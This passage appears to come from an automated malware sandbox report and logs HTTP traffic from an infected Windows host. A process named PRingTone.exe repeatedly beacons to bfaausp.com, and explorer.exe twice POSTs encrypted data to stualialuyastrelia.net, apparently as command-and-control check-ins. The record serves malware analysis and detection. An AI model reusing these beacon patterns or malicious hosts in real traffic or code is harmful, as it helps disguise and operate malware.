104	192.168.2.4	49873	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:36.454601049 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:36.732244015 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49874	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:37.242897034 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:37.521313906 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49875	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:37.970788956 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:38.249123096 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49876	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:38.296787977 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://efqtcklushiiblic.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 19, 2023 03:24:38.296830893 CET	109	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bONfy&5c50
Dec 19, 2023 03:24:38.589132071 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:24:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49877	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:38.654011965 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:38.927577972 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49878	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:39.345967054 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:39.623934031 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49880	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:40.020392895 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:40.301996946 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49881	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:40.704754114 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:40.978657007 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49883	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:41.374702930 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:41.653822899 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49885	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:42.060081005 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:42.340150118 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49886	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:42.734184027 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:43.007909060 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49887	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:43.513489962 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:43.792073011 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49888	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:45.620914936 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:45.901650906 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49889	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:46.325277090 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:46.605767012 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49890	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:47.036551952 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:47.315336943 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49891	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:47.716212988 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:47.989919901 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49892	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:48.401680946 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:48.681566000 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49893	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:49.080265999 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:49.362323046 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49894	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:49.764633894 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:50.042105913 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49895	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:50.436811924 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:50.714474916 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49896	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:51.140292883 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:51.418108940 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49897	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:51.819364071 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:52.092699051 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49898	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:52.528796911 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:52.808904886 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49899	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:53.053667068 CET	278	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xayqbyqkdgd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 19, 2023 03:24:53.053703070 CET	109	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bONfy&5c50
Dec 19, 2023 03:24:53.347270012 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:24:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49900	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:53.206491947 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:53.486913919 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49901	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:53.904227018 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:54.182797909 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49902	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:54.576781034 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:54.852967024 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
